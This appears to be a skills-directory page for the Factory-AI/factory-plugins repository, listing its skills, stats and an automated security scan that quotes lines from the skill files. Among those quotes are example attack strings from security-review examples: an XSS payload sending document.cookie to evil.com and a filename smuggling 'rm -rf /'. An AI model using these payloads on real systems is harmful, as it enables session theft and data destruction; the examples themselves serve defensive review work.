Not in the top 1,000 by GitHub stars

Factory-AI/factory-plugins

Official Factory plugins marketplace

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

plugins/autoresearch/skills/autoresearch/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/code-review/skills/create-pr/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/code-review/skills/follow-up-on-pr/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/debugging/skills/http-toolkit-intercept/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/droid-control/skills/droid-control/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/droid-evolved/skills/browser-navigation/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Local scripts

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/droid-evolved/skills/frontend-design/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/droid-evolved/skills/human-writing/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/droid-evolved/skills/skill-creation/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/droid-evolved/skills/visual-design/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/security-engineer/skills/commit-security-scan/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/security-engineer/skills/security-review/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/security-engineer/skills/threat-model-generation/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/security-engineer/skills/vulnerability-validation/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/typescript/skills/ban-type-assertions/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/typescript/skills/fix-knip-unused-exports/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

plugins/typescript/skills/no-use-effect/SKILL.md

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 8a5f8db2e350

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit 8a5f8db2e350748b24e2ac7b4deb4db2a357c4d3

123GitHub stars
7stars in 7 days
17skills in this repository
19commits in 30 days

Heat

4.9
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Nov 5, 2026123

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

autoresearch

When your agent uses it

Autonomous experiment loop for optimization research. Use when the user wants to: - Optimize a metric through systematic experimentation (ML training loss, test speed, bundle size, build time, etc.) - Run an automated research loop: try an idea, measure it, keep improvements, revert regressions, repeat - Set up autoresearch for any codebase with a measurable optimization target Implements the autoresearch pattern with MAD-based confidence scoring, git branch isolation, and structured experiment logging.

What it loads into context

Frontmatter

118 tokens

Always available to the agent

SKILL.md

4,100 tokens

When the skill is activated

Reference documents

0 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. Overview
  2. Setup
  3. The Experiment Loop
  4. State Files Reference
  5. Confidence Scoring
  6. Context Management
  7. Loop Rules Summary
  8. Finalization
  9. Mission Worker Mode

Scripts executed separately

  • autoresearch_helper.py

Files

  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • SKILL.mdcore16,786 bytes
  • autoresearch_helper.pyruns14,166 bytes

No excerpt is shown for this license. Read the source on GitHub.

View the complete source on GitHub

Skills included

  • autoresearch
  • create-pr
  • follow-up-on-pr
  • http-toolkit-intercept
  • droid-control
  • browser-navigation
  • frontend-design
  • human-writing
  • skill-creation
  • visual-design
  • commit-security-scan
  • security-review
  • threat-model-generation
  • vulnerability-validation
  • ban-type-assertions
  • fix-knip-unused-exports
  • no-use-effect

Repository facts

License
No license detected
Created
Jan 12, 2026
Last pushed
Nov 5, 2026
Forks
34
Open issues
2
Project activity
Active

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 6, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 95 notes
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • plugins/autoresearch/skills/autoresearch/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 171 signals by file

plugins/autoresearch/skills/autoresearch/SKILL.md

  • Dangerous shell operationline 261
    rm -f autoresearch.jsonl.bak autoresearch.md.bak autoresearch.ideas.md.bak

plugins/autoresearch/skills/autoresearch/autoresearch_helper.py

  • Executable scriptline 1
    #!/usr/bin/env python3

plugins/code-review/skills/create-pr/SKILL.md

  • Access to secretsline 66
    [Credential-related source omitted]

plugins/code-review/skills/follow-up-on-pr/SKILL.md

  • Network accessline 12
    - **PR URL or number** (required): e.g. `https://github.com/<owner>/<repo>/pull/9996` or `#9996`
  • Access to secretsline 69
    [Credential-related source omitted]

plugins/debugging/skills/http-toolkit-intercept/SKILL.md

  • Network accessline 38
    # HTTP Toolkit's admin API lives on port 45456/45457 by default. # Treat 200/401/403 as "reachable"; only connection failure means the server is dead. curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:45456/config
  • Network accessline 40
    curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:45456/config
  • Network accessline 50
    HTTP_PROXY="http://127.0.0.1:8000" \
  • Network accessline 51
    HTTPS_PROXY="http://127.0.0.1:8000" \
  • Network accessline 52
    ALL_PROXY="http://127.0.0.1:8000" \
  • Network accessline 127
    | **Java / JVM** | `-Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8000 -Dhttps.proxyHost=127.0.0.1 -Dhttps.proxyPort=8000`; env vars are **not** honored by the JVM | Import CA into a truststore and pass `-Djavax.net.ssl.trustStore=...` | | **
  • Network accessline 128
    | **.NET / C#** | `HTTP_PROXY`, `HTTPS_PROXY`, `ALL_PROXY` (on recent runtimes) or configure `HttpClient` explicitly | Trust CA in OS store, or `HttpClientHandler.ServerCertificateCustomValidationCallback` | | **PHP (curl / cli)** | `HTTP_P
  • Network accessline 129
    | **PHP (curl / cli)** | `HTTP_PROXY`, `HTTPS_PROXY` (or per-call `CURLOPT_PROXY`) | `CURLOPT_SSL_VERIFYPEER => false` |
  • Network accessline 130
    | **Rust (`reqwest`)** | `HTTP_PROXY`, `HTTPS_PROXY` | `danger_accept_invalid_certs(true)` on the client | | **curl / shell** | `HTTP_PROXY`, `HTTPS_PROXY` env vars or `-x`/`--proxy` flag | `-k` / `--insecure` | | **Docker containers** | Pa
  • Network accessline 131
    | **curl / shell** | `HTTP_PROXY`, `HTTPS_PROXY` env vars or `-x`/`--proxy` flag | `-k` / `--insecure` |

plugins/droid-control/skills/droid-control/SKILL.md

  • Network accessline 238
    npm install -g tuistory                              # virtual PTY driver pip install asciinema                                # terminal recording (tctl wraps this) cargo install --git https://github.com/asciinema/agg  # .cast -> .gif conv
  • Network accessline 240
    cargo install --git https://github.com/asciinema/agg  # .cast -> .gif converter (compose needs this)
  • Dangerous shell operationline 243
    sudo apt-get install -y cage wtype                   # required: headless compositor + keystroke injection
  • Dangerous shell operationline 244
    sudo apt-get install -y grim wf-recorder             # optional: screenshots + video recording
  • Dangerous shell operationline 253
    sudo apt-get install -y ffmpeg                       # video processing (includes ffprobe)
  • Dangerous shell operationline 254
    sudo apt-get install -y clang libclang-dev libx264-dev  # renderer build deps (macOS: xcode-select --install; brew install x264)

plugins/droid-control/skills/droid-control/atoms/browser-use/ATOM.md

  • Network accessline 119
    SESSION="$(agent-browser session id --scope worktree --prefix droid-control)" agent-browser --session "$SESSION" --restore open https://app.example.com
  • Network accessline 120
    agent-browser --session "$SESSION" --restore open https://app.example.com
  • Network accessline 134
    agent-browser tab agent-browser tab new https://example.com
  • Network accessline 135
    agent-browser tab new https://example.com
  • Network accessline 189
    agent-browser a11y [url] --json agent-browser open --enable react-devtools http://localhost:3000
  • Network accessline 190
    agent-browser open --enable react-devtools http://localhost:3000

plugins/droid-control/skills/droid-control/atoms/desktop-use/ATOM.md

  • Network accessline 34
    No separate Cua skill installation is required. Preserve existing executable wrappers and service ownership. If the binary is missing, obtain approval before using the official [macOS/Linux installer](https://cua.ai/driver/install.sh) or [W

plugins/droid-control/skills/droid-control/atoms/pty-capture/platforms/linux.md

  • Dangerous shell operationline 27
    sudo apt-get install -y cage wtype

plugins/droid-control/skills/droid-control/atoms/showcase/ATOM.md

  • Network accessline 98
    - **Rust** (stable, via [rustup](https://rustup.rs)), **clang/libclang**, and **libx264** to build the renderer once
  • Dangerous shell operationline 103
    sudo apt-get install -y clang libclang-dev libx264-dev   # macOS: xcode-select --install; brew install x264

plugins/droid-control/skills/droid-control/atoms/true-input/platforms/linux.md

  • Dangerous shell operationline 6
    sudo apt-get install -y cage wtype          # required
  • Dangerous shell operationline 7
    sudo apt-get install -y grim wf-recorder    # optional: screenshots / video

plugins/droid-control/skills/droid-control/atoms/true-input/platforms/macos.md

  • Dangerous shell operationline 57
    | `down` | Graceful shutdown via SSH `sudo shutdown -h now` |

plugins/droid-control/skills/droid-control/atoms/true-input/platforms/windows.md

  • Access to secretsline 26
    [Credential-related source omitted]

plugins/droid-evolved/skills/browser-navigation/SKILL.md

  • Network accessline 46
    # Or use via npx npx agent-browser open https://example.com
  • Network accessline 47
    npx agent-browser open https://example.com
  • Access to secretsline 160
    [Credential-related source omitted]
  • Access to secretsline 161
    [Credential-related source omitted]
  • Access to secretsline 162
    [Credential-related source omitted]
  • Dangerous shell operationline 219
    agent-browser eval "document.title"   # Run JavaScript
  • Network accessline 227
    agent-browser open https://example.com/form
  • Network accessline 241
    # Login once agent-browser open https://app.example.com/login
  • Network accessline 242
    agent-browser open https://app.example.com/login
  • Network accessline 250
    # Later sessions: load saved state agent-browser state load auth.json agent-browser open https://app.example.com/dashboard
  • Network accessline 252
    agent-browser open https://app.example.com/dashboard
  • Network accessline 258
    agent-browser open https://example.com/products
  • Network accessline 269
    agent-browser open https://example.com
  • Network accessline 277
    # Navigate to login agent-browser open https://app.example.com/login
  • Network accessline 278
    agent-browser open https://app.example.com/login

plugins/droid-evolved/skills/human-writing/SKILL.md

  • Network accessline 228
    This skill is based on Wikipedia's "Signs of AI writing" page (https://en.wikipedia.org/wiki/Wikipedia:Signs_of_AI_writing), maintained by WikiProject AI Cleanup. The patterns come from observations of thousands of instances of AI-generated

plugins/droid-evolved/skills/visual-design/SKILL.md

  • Access to secretsline 22
    [Credential-related source omitted]

plugins/droid-evolved/skills/visual-design/image-generation.md

  • Network accessline 13
    Or download a standalone binary from https://github.com/Factory-AI/nanobanana-cli/releases
  • Access to secretsline 18
    [Credential-related source omitted]
  • Network accessline 21
    Get a key at https://aistudio.google.com/apikey

plugins/droid-evolved/skills/visual-design/presentations.md

  • Network accessline 3
    Create slide decks using [Slidev](https://sli.dev), a markdown-based presentation tool for developers. Write slides in markdown, get beautiful results with code highlighting, animations, and Vue components.
  • Network accessline 30
    --- theme: seriph background: https://cover.sli.dev
  • Network accessline 31
    theme: seriph background: https://cover.sli.dev class: text-center
  • Network accessline 32
    background: https://cover.sli.dev
  • Network accessline 236
    Browse themes: https://sli.dev/resources/theme-gallery
  • Network accessline 365
    --- theme: seriph background: https://cover.sli.dev
  • Network accessline 366
    theme: seriph background: https://cover.sli.dev class: text-center
  • Network accessline 367
    background: https://cover.sli.dev
  • Network accessline 415
    [docs](https://example.com) · [github](https://github.com/example)
  • Network accessline 430
    Full Slidev docs: https://sli.dev/llms.txt
  • Network accessline 432
    Key references: - [Syntax Guide](https://sli.dev/guide/syntax) - Markdown extensions, frontmatter, slots
  • Network accessline 433
    - [Syntax Guide](https://sli.dev/guide/syntax) - Markdown extensions, frontmatter, slots
  • Network accessline 434
    - [Animations](https://sli.dev/guide/animations) - Click animations, motion, transitions
  • Network accessline 435
    - [Layouts](https://sli.dev/builtin/layouts) - All built-in layouts
  • Network accessline 436
    - [Components](https://sli.dev/builtin/components) - Built-in Vue components
  • Network accessline 437
    - [Themes](https://sli.dev/resources/theme-gallery) - Theme gallery
  • Network accessline 438
    - [CLI Reference](https://sli.dev/builtin/cli) - All CLI commands and options
  • Network accessline 440
    Features worth exploring: - [Shiki Magic Move](https://sli.dev/features/shiki-magic-move) - Animate code changes
  • Network accessline 441
    - [Shiki Magic Move](https://sli.dev/features/shiki-magic-move) - Animate code changes
  • Network accessline 442
    - [Monaco Editor](https://sli.dev/features/monaco-editor) - Live code editing in slides
  • Network accessline 443
    - [Drawing](https://sli.dev/features/drawing) - Annotate slides during presentation
  • Network accessline 444
    - [Recording](https://sli.dev/features/recording) - Record presentations with camera
  • Network accessline 445
    - [Remote Access](https://sli.dev/features/remote-access) - Control from another device

plugins/droid-evolved/skills/visual-design/reference-slide-example.md

  • Network accessline 3
    theme: seriph # random image from a curated Unsplash collection by Anthony # like them? see https://unsplash.com/collections/94734566/slidev
  • Network accessline 4
    # random image from a curated Unsplash collection by Anthony # like them? see https://unsplash.com/collections/94734566/slidev background: https://cover.sli.dev
  • Network accessline 5
    # like them? see https://unsplash.com/collections/94734566/slidev
  • Network accessline 6
    background: https://cover.sli.dev
  • Network accessline 13
    Learn more at [Sli.dev](https://sli.dev)
  • Network accessline 14
    # apply unocss classes to the current slide class: text-center # https://sli.dev/features/drawing
  • Network accessline 15
    class: text-center # https://sli.dev/features/drawing drawings:
  • Network accessline 16
    # https://sli.dev/features/drawing
  • Network accessline 17
    drawings:   persist: false # slide transition: https://sli.dev/guide/animations.html#slide-transitions
  • Network accessline 18
    persist: false # slide transition: https://sli.dev/guide/animations.html#slide-transitions transition: slide-left
  • Network accessline 19
    # slide transition: https://sli.dev/guide/animations.html#slide-transitions
  • Network accessline 20
    transition: slide-left # enable MDC Syntax: https://sli.dev/features/mdc mdc: true
  • Network accessline 21
    # enable MDC Syntax: https://sli.dev/features/mdc
  • Network accessline 35
    <carbon:edit />   </button>   <a href="https://github.com/slidevjs/slidev" target="_blank" class="slidev-icon-btn">
  • Network accessline 36
    </button>   <a href="https://github.com/slidevjs/slidev" target="_blank" class="slidev-icon-btn">     <carbon:logo-github />
  • Network accessline 37
    <a href="https://github.com/slidevjs/slidev" target="_blank" class="slidev-icon-btn">
  • Network accessline 42
    <!-- The last comment block of each slide will be treated as slide notes. It will be visible and editable in Presenter Mode along with the slide. [Read more in the docs](https://sli.dev/guide/syntax.html#notes)
  • Network accessline 43
    The last comment block of each slide will be treated as slide notes. It will be visible and editable in Presenter Mode along with the slide. [Read more in the docs](https://sli.dev/guide/syntax.html#notes)
  • Network accessline 64
    Read more about [Why Slidev?](https://sli.dev/guide/why)
  • Network accessline 66
    <!-- You can have `style` tag in markdown to override the style for the current page. Learn more: https://sli.dev/features/slide-scope-style
  • Network accessline 67
    You can have `style` tag in markdown to override the style for the current page. Learn more: https://sli.dev/features/slide-scope-style -->
  • Network accessline 68
    Learn more: https://sli.dev/features/slide-scope-style
  • Network accessline 94
    Hover on the bottom-left corner to see the navigation's controls panel, [learn more](https://sli.dev/guide/ui#navigation-bar)
  • Network accessline 105
    <!-- https://sli.dev/guide/animations.html#click-animation -->
  • Network accessline 107
    v-click   class="absolute -bottom-9 -left-7 w-80 opacity-50"   src="https://sli.dev/assets/arrow-bottom-left.svg"
  • Network accessline 108
    class="absolute -bottom-9 -left-7 w-80 opacity-50"   src="https://sli.dev/assets/arrow-bottom-left.svg"   alt=""
  • Network accessline 109
    src="https://sli.dev/assets/arrow-bottom-left.svg"
  • Network accessline 133
    --- layout: image-right image: https://cover.sli.dev
  • Network accessline 134
    layout: image-right image: https://cover.sli.dev ---
  • Network accessline 135
    image: https://cover.sli.dev
  • Network accessline 143
    // TwoSlash enables TypeScript hover information // and errors in markdown code blocks // More at https://shiki.style/packages/twoslash
  • Network accessline 145
    // More at https://shiki.style/packages/twoslash
  • Network accessline 162
    [Learn more](https://sli.dev/features/line-highlighting)
  • Network accessline 193
    Powered by [shiki-magic-move](https://shiki-magic-move.netlify.app/), Slidev supports animations across multiple code snippets.
  • Network accessline 279
    Check out [the guides](https://sli.dev/builtin/components.html) for more.
  • Network accessline 325
    <img border="rounded" src="https://github.com/slidevjs/themes/blob/main/screenshots/theme-default/01.png?raw=true" alt="">
  • Network accessline 327
    <img border="rounded" src="https://github.com/slidevjs/themes/blob/main/screenshots/theme-seriph/01.png?raw=true" alt="">
  • Network accessline 331
    Read more about [How to use a theme](https://sli.dev/guide/theme-addon#use-theme) and
  • Network accessline 332
    check out the [Awesome Themes Gallery](https://sli.dev/resources/theme-gallery).
  • Network accessline 355
    also allows you to add <span v-mark.circle.orange="4">inline marks</span> , powered by [Rough Notation](https://roughnotation.com/):
  • Network accessline 357
    , powered by [Rough Notation](https://roughnotation.com/):
  • Network accessline 367
    [Learn more](https://sli.dev/guide/animations#click-animation)
  • Network accessline 375
    Motion animations are powered by [@vueuse/motion](https://motion.vueuse.org/), triggered by `v-motion` directive.
  • Network accessline 394
    :enter="final"       class="absolute inset-0"       src="https://sli.dev/logo-square.png"
  • Network accessline 395
    class="absolute inset-0"       src="https://sli.dev/logo-square.png"       alt=""
  • Network accessline 396
    src="https://sli.dev/logo-square.png"
  • Network accessline 402
    :enter="final"       class="absolute inset-0"       src="https://sli.dev/logo-circle.png"
  • Network accessline 403
    class="absolute inset-0"       src="https://sli.dev/logo-circle.png"       alt=""
  • Network accessline 404
    src="https://sli.dev/logo-circle.png"
  • Network accessline 410
    :enter="final"       class="absolute inset-0"       src="https://sli.dev/logo-triangle.png"
  • Network accessline 411
    class="absolute inset-0"       src="https://sli.dev/logo-triangle.png"       alt=""
  • Network accessline 412
    src="https://sli.dev/logo-triangle.png"
  • Network accessline 447
    [Learn more](https://sli.dev/guide/animations.html#motion)
  • Network accessline 455
    LaTeX is supported out-of-box. Powered by [KaTeX](https://katex.org/).
  • Network accessline 471
    [Learn more](https://sli.dev/features/latex)
  • Network accessline 549
    Learn more: [Mermaid Diagrams](https://sli.dev/features/mermaid) and [PlantUML Diagrams](https://sli.dev/features/plantuml)
  • Network accessline 566
    <img v-drag="'square'" src="https://sli.dev/logo.png">
  • Network accessline 586
    <img v-drag="'square'" src="https://sli.dev/logo.png">
  • Network accessline 634
    [Documentation](https://sli.dev) · [GitHub](https://github.com/slidevjs/slidev) · [Showcases](https://sli.dev/resources/showcases)

plugins/security-engineer/skills/commit-security-scan/SKILL.md

  • Dangerous shell operationline 103
    - **Command Injection**: User input in shell commands, `eval()`, `exec()`
  • Network accessline 267
    - Threat model: `.factory/threat-model.md` - Security config: `.factory/security-config.json` - [OWASP Top 10](https://owasp.org/www-project-top-ten/)
  • Network accessline 268
    - Security config: `.factory/security-config.json` - [OWASP Top 10](https://owasp.org/www-project-top-ten/) - [CWE Top 25](https://cwe.mitre.org/top25/)
  • Network accessline 269
    - [OWASP Top 10](https://owasp.org/www-project-top-ten/)
  • Network accessline 270
    - [CWE Top 25](https://cwe.mitre.org/top25/)

plugins/security-engineer/skills/commit-security-scan/analysis-examples.md

  • Dangerous shell operationline 143
    "exploit_scenario": "Attacker uploads file named 'image.jpg; rm -rf / #' or 'image.jpg$(whoami)'. The shell interprets the semicolon/backticks and executes the injected command with server privileges.",
  • Network accessline 240
    "code_context": "dangerouslySetInnerHTML={{ __html: user.bio }}",   "analysis": "User-provided bio content is rendered using dangerouslySetInnerHTML without sanitization. This bypasses React's built-in XSS protection and allows stored XSS a
  • Network accessline 241
    "analysis": "User-provided bio content is rendered using dangerouslySetInnerHTML without sanitization. This bypasses React's built-in XSS protection and allows stored XSS attacks.",   "exploit_scenario": "Attacker sets their bio to '<script
  • Network accessline 242
    "exploit_scenario": "Attacker sets their bio to '<script>document.location=\"https://evil.com/steal?cookie=\"+document.cookie</script>'. When other users view the profile, the script executes and steals their session cookies.",
  • Access to secretsline 293
    [Credential-related source omitted]
  • Access to secretsline 390
    [Credential-related source omitted]

plugins/security-engineer/skills/security-review/SKILL.md

  • Network accessline 351
    "recommendation": "Use parameterized queries",       "references": [         "https://cwe.mitre.org/data/definitions/89.html",
  • Network accessline 352
    "references": [         "https://cwe.mitre.org/data/definitions/89.html",         "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 353
    "https://cwe.mitre.org/data/definitions/89.html",
  • Network accessline 354
    "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
  • Network accessline 424
    [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)
  • Network accessline 567
    - STRIDE: https://docs.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats
  • Network accessline 568
    - OWASP Top 10: https://owasp.org/www-project-top-ten/
  • Network accessline 569
    - CWE Database: https://cwe.mitre.org/
  • Network accessline 570
    - OWASP Cheat Sheets: https://cheatsheetseries.owasp.org/
  • Network accessline 571
    - CVSS Calculator: https://www.first.org/cvss/calculator/3.1

plugins/security-engineer/skills/threat-model-generation/SKILL.md

  • Network accessline 278
    - [STRIDE Threat Modeling](https://docs.microsoft.com/en-us/azure/security/develop/threat-modeling-tool-threats)
  • Network accessline 279
    - [OWASP Threat Modeling](https://owasp.org/www-community/Threat_Modeling)

plugins/security-engineer/skills/vulnerability-validation/SKILL.md

  • Network accessline 308
    - CVSS 3.1 Calculator: https://www.first.org/cvss/calculator/3.1
  • Network accessline 309
    - OWASP Testing Guide: https://owasp.org/www-project-web-security-testing-guide/

plugins/security-engineer/skills/vulnerability-validation/validation-examples.md

  • Network accessline 230
    - Attacker creates account - Sets bio to `<script>document.location='https://evil.com/steal?c='+document.cookie</script>`
  • Network accessline 231
    - Sets bio to `<script>document.location='https://evil.com/steal?c='+document.cookie</script>`
  • Dangerous shell operationline 326
    4. Worker receives message and runs exec()
  • Dangerous shell operationline 341
    - Cannot verify if worker validates before exec()
  • Dangerous shell operationline 358
    "reason": "Complex data flow through message queue prevents full validation. The exec() call is dangerous, but the source of inputPath and size parameters could not be fully traced. These values originate from a different service (upload-se

plugins/typescript/skills/no-use-effect/SKILL.md

  • Network accessline 16
    - Lint rule: `no-restricted-syntax` (configured to ban `useEffect`) - React docs: [You Might Not Need an Effect](https://react.dev/learn/you-might-not-need-an-effect)
  • Network accessline 17
    - React docs: [You Might Not Need an Effect](https://react.dev/learn/you-might-not-need-an-effect)
  • Network accessline 18
    - Origin: [https://x.com/alvinsng/status/2033969062834045089](https://x.com/alvinsng/status/2033969062834045089)
  • Network accessline 114
    **Smell test:** Your effect does `fetch(...)` and then `setState(...)`, or you are re-implementing caching, retries, cancellation, or stale handling.

How the signals fit together

Facts from a static read of the files at the pinned commit. They describe what the code does, not why.

Some files could not be read; the facts below still hold.

Signal confidence: 171 facts

and 121 more

Works with

Agent compatibility, from the files in this repository
AgentStatusEvidenceInstall to
Claude CodeCompatibleStandard SKILL.md plugins/autoresearch/skills/autoresearch/SKILL.md.claude/skills/<skill-name>/
CodexCompatibleStandard SKILL.md plugins/autoresearch/skills/autoresearch/SKILL.md.agents/skills/<skill-name>/
CursorCompatibleStandard SKILL.md plugins/autoresearch/skills/autoresearch/SKILL.md.cursor/skills/<skill-name>/
Gemini CLICompatibleStandard SKILL.md plugins/autoresearch/skills/autoresearch/SKILL.md.gemini/skills/<skill-name>/
GitHub CopilotCompatibleStandard SKILL.md plugins/autoresearch/skills/autoresearch/SKILL.md.github/skills/<skill-name>/
OpenCodeCompatibleStandard SKILL.md plugins/autoresearch/skills/autoresearch/SKILL.md.opencode/skills/<skill-name>/
  • Native The repository ships a manifest, folder or frontmatter field for this agent.
  • Compatible A standard SKILL.md that this agent can read.
  • Unknown No evidence either way.

Derived automatically from paths, manifests and frontmatter. Not tested on each agent.